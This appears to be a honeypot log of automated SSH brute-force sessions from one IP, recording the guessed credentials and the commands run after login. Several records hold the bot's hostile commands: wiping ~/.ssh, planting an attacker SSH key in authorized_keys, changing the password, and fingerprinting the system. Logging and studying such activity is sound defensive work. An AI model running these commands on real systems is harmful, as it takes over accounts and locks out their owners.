{"id":"04f65c78-55dc-4484-8b07-dd066e41e55d","name":"rustic-keen-petrel","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48124,"username":"ec2-user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:13:59.781508+00:00","ended_at":"2026-08-27T14:14:01.245874+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ec2-user","password":"P@ssw0rd","method":"password","accepted":false,"tier":"other"}]} {"id":"245e4254-272f-4e48-b2f7-9bfd12c7c35e","name":"shaded-dappled-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46978,"username":"aramos","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:29.344092+00:00","ended_at":"2026-08-27T14:12:31.174261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"aramos","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3befec44-8642-42da-9517-120101b9713d","name":"gallant-inland-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":45062,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:27.080570+00:00","ended_at":"2026-08-27T14:12:28.662465+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"70788d7c-7690-4083-b142-169b7c65d3e7","name":"wistful-sturdy-adder","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":43914,"username":"aramos","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:12:25.579849+00:00","ended_at":"2026-08-27T14:12:25.822427+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:12:25.580776+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:12:25.584079+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"aramos","password":"aramos","method":"password","accepted":true,"tier":"other"}]} {"id":"caad3063-71f0-4aa4-a204-a303280c73fc","name":"kindly-languid-bushbaby","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":42692,"username":"gaurav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:11:01.271146+00:00","ended_at":"2026-08-27T14:11:02.428101+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gaurav","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da1e334f-4e6d-49af-93f4-46a61cd3e1fb","name":"painted-sturdy-marmot","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41584,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:10:58.986465+00:00","ended_at":"2026-08-27T14:11:00.150895+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b1089136-2730-4f07-9986-cc03bc0912c5","name":"spirited-dusty-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":39608,"username":"gaurav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:57.941574+00:00","ended_at":"2026-08-27T14:10:58.175769+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:10:57.943333+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:57.944828+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"gaurav","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"69acb35c-5eec-45a4-a769-f061bd9602af","name":"bashful-plush-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48024,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:09:35.554288+00:00","ended_at":"2026-08-27T14:09:37.298708+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f7ca4d5b-c706-42b4-8285-8ff5ed7bd7b4","name":"obsidian-hushed-serval","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46294,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:09:32.842732+00:00","ended_at":"2026-08-27T14:09:34.709217+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5fa2b8c6-1474-40f1-a39d-5ced056d7ac6","name":"amiable-sunlit-impala","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":45196,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:09:31.509206+00:00","ended_at":"2026-08-27T14:09:32.024652+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:09:31.509857+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:09:31.512115+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"Root12345#","method":"password","accepted":true,"tier":"other"}]} {"id":"eb3d0d96-73d7-4fb7-a1a4-f3e48cc76cd1","name":"lawful-downy-plover","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57190,"username":"car","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:08.324755+00:00","ended_at":"2026-08-27T14:08:09.506549+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"car","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dcd776e8-f4e6-45ac-afae-89ff8a6aab45","name":"fearless-austere-macaw","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56002,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:05.810430+00:00","ended_at":"2026-08-27T14:08:07.673594+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"109f6956-90a6-4154-a028-f74308f3eba6","name":"painted-ivory-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54906,"username":"car","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:08:04.713919+00:00","ended_at":"2026-08-27T14:08:05.060513+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:08:04.714694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:08:04.716912+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"car","password":"car","method":"password","accepted":true,"tier":"other"}]} {"id":"0f725449-870c-43f5-8dcf-f8f64836dcb9","name":"lunar-flinty-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":35686,"username":"wireguard","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:06:33.153857+00:00","ended_at":"2026-08-27T14:06:34.994225+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"wireguard","password":"wireguard@123","method":"password","accepted":false,"tier":"other"}]} {"id":"36eb2f83-d720-4fbf-88e8-b2b2bb86d121","name":"barren-twilight-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44744,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":337,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:05:39.875588+00:00","ended_at":"2026-08-27T14:05:41.771555+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2184,"events":[{"seq":1,"at":"2026-08-27T14:05:09.712954+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:05:10.515686+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:05:15.003033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:05:16.781326+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:05:17.114632+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:05:17.538241+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:05:17.868351+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:05:18.794867+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T14:05:18.977147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:05:19.126112+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:05:19.150282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:05:20.773966+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:05:20.927543+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:05:22.444057+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:05:22.989778+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:05:24.501308+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:05:24.951023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:05:26.097170+00:00","kind":"output","latency_ms":null,"data":" 14:05:26 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:05:26.545798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:05:28.591179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:05:28.931567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:05:29.898884+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:05:30.750590+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:05:32.161765+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:32 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:05:32.500399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:05:34.109173+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:05:34.439282+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:05:36.181291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:05:36.919118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:05:38.086197+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T14:05:38.422431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:05:39.542760+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:05:39.877251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:05:41.675929+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"ubuntu2026!","method":"password","accepted":true,"tier":"other"}]} {"id":"dc68e0c3-652b-43fb-b934-294a23d422de","name":"umber-sincere-tern","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":47006,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:05:13.214127+00:00","ended_at":"2026-08-27T14:05:14.904915+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ea3ccae7-1ea8-4cbd-bc73-b1a25be5429e","name":"tawny-painted-kakapo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46042,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:05:11.577499+00:00","ended_at":"2026-08-27T14:05:12.547611+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"523fdf1f-cd18-4578-bb06-808128e94259","name":"dutiful-crystal-lark","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":53042,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":360,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:04:09.869400+00:00","ended_at":"2026-08-27T14:04:11.405987+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2160,"events":[{"seq":1,"at":"2026-08-27T14:03:41.508208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:41.874704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:45.800014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:03:47.452108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:47.957900+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:48.525757+00:00","kind":"input","latency_ms":null,"data":"echo \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:48.887298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:03:49.986091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:03:50.219341+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:03:50.268768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T14:03:50.579285+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:51.429353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:51.897367+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:53.627730+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:54.195558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:55.245807+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:55.607072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:56.689588+00:00","kind":"output","latency_ms":null,"data":" 14:03:56 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:57.051123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:57.974518+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:58.334771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:04:00.335677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:04:00.794314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:04:02.830299+00:00","kind":"output","latency_ms":null,"data":"top - 14:04:02 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:04:03.189943+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:04:05.160050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:04:05.519143+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:04:06.999218+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:04:07.369215+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:04:08.330239+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":31,"at":"2026-08-27T14:04:08.695770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:04:09.543823+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:04:09.870193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:04:11.297811+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"pass","method":"password","accepted":true,"tier":"other"}]} {"id":"0583a9ed-0c6c-46a0-b7da-a070a9a60675","name":"earnest-vivid-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":55208,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:44.871447+00:00","ended_at":"2026-08-27T14:03:45.692444+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"steam","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"93b65c5b-a964-4e8f-9f66-274d26b33beb","name":"bashful-snowy-greenfinch","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":54100,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:42.681542+00:00","ended_at":"2026-08-27T14:03:43.864854+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f1c9ad32-fb86-4909-9414-08f61e3f05cf","name":"gnarled-airy-addax","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":46340,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":419,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:02:44.546918+00:00","ended_at":"2026-08-27T14:02:45.955061+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2142,"events":[{"seq":1,"at":"2026-08-27T14:02:12.674687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:02:13.142377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:02:18.596266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:02:19.476141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:02:20.204962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:02:20.622811+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:02:20.947267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:02:21.859103+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:02:22.231071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:02:23.029295+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:02:23.455217+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:02:24.801800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:02:25.222100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:02:27.057126+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:02:27.476244+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:02:29.291160+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:02:29.616758+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:02:30.981785+00:00","kind":"output","latency_ms":null,"data":" 14:02:30 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU 